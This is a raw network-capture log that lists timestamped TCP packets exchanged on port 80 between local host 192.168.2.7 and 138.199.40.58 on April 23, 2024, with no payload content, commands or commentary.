Apr 23, 2024 08:39:59.169414043 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169420958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.169425964 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169439077 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169455051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169461012 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.169471025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169490099 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.169506073 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169518948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169527054 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.169532061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169543982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169570923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169584036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169588089 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.169588089 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.169598103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169625998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169644117 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.169651031 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169671059 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.169684887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169698000 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169763088 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169780016 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169790030 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.169795036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169814110 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.169820070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169836044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169842005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.169847965 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169859886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169869900 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.169895887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169917107 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.169920921 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169965982 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169979095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.169986010 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.169991970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170006990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170027018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.170049906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170074940 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.170094967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170111895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170126915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170130014 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.170156956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170170069 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170176029 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.170185089 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170202971 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170228004 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.170239925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170264959 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.170286894 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170315981 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170367002 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170381069 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170392990 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.170396090 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170411110 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170413017 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.170430899 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.170437098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170464039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170511007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170525074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170533895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.170548916 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170564890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170572042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.170578957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170597076 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.170613050 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170629025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170635939 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.170640945 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170660019 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.170685053 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170723915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170738935 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170746088 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.170752048 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170773029 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.170804977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170819044 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170854092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170867920 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170875072 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.170893908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170917034 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.170962095 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170979023 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.170988083 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.171020985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171036959 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171042919 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.171049118 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171061039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171081066 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.171128035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.171139002 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171153069 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171164036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171175957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171189070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171200037 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.171225071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171245098 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.171248913 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171264887 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.171294928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171309948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171329021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171331882 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.171372890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171386003 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171395063 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.171397924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171420097 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.171456099 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171509027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171540022 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171564102 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.171587944 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171601057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171610117 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.171690941 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.171694040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171709061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171720028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171732903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171745062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171751976 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.171756029 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171766043 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.171767950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171781063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171792984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171804905 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.171819925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171833038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171848059 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.171848059 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.171855927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171868086 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171890020 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.171924114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.171960115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172004938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172017097 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172023058 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.172033072 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172039032 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.172045946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172064066 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.172070026 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172110081 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172128916 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.172149897 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172205925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172225952 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.172225952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172373056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172384977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172390938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.172396898 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172410011 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172416925 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.172421932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172435045 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172447920 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.172449112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172461033 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172473907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172480106 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.172487020 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172499895 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172506094 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.172524929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172538996 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172544956 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.172550917 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172570944 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.172586918 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172610998 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.172642946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172657967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172677994 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.172738075 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172750950 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172764063 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172771931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.172777891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172790051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172796965 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.172802925 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172826052 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172841072 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.172892094 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.172935009 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172947884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172983885 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.172996998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173002958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.173019886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173038960 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.173068047 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173115015 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173127890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173134089 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.173140049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173151970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173171997 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.173202991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173223972 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.173245907 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173259974 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173271894 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173285007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173306942 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.173338890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173352957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173361063 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.173366070 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173373938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.173382998 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173397064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173402071 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.173429966 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173444986 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173448086 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.173480034 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173500061 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.173506975 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173521042 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173561096 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173582077 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.173590899 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173610926 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.173618078 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173660994 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173680067 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.173696041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173741102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173748970 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.173757076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173772097 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173791885 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.173953056 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173969984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173981905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.173995018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174001932 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.174007893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174021006 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174026966 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.174032927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174040079 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.174046040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174057961 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174069881 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174072027 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.174083948 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174093008 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.174096107 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174110889 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174118042 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.174123049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174137115 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174159050 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.174160957 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174181938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.174195051 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174241066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174252987 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174263000 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.174264908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174290895 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.174308062 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174343109 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174375057 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174396038 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.174412012 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174424887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174432993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.174478054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174500942 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.174510956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174525976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174549103 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174568892 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.174616098 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174628973 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.174629927 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174643993 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174668074 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174685001 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174686909 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.174706936 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.174709082 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174809933 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174822092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174824953 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.174834967 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174850941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174870014 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.174892902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174906969 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174916029 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.174918890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174931049 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174949884 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.174954891 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.174977064 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.174988985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175025940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175072908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175101995 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.175110102 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175124884 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175133944 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.175194025 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175208092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175213099 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.175240040 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175260067 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:59.175263882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:59.175335884 CEST	80	49705	138.199.40.58	192.168.2.7
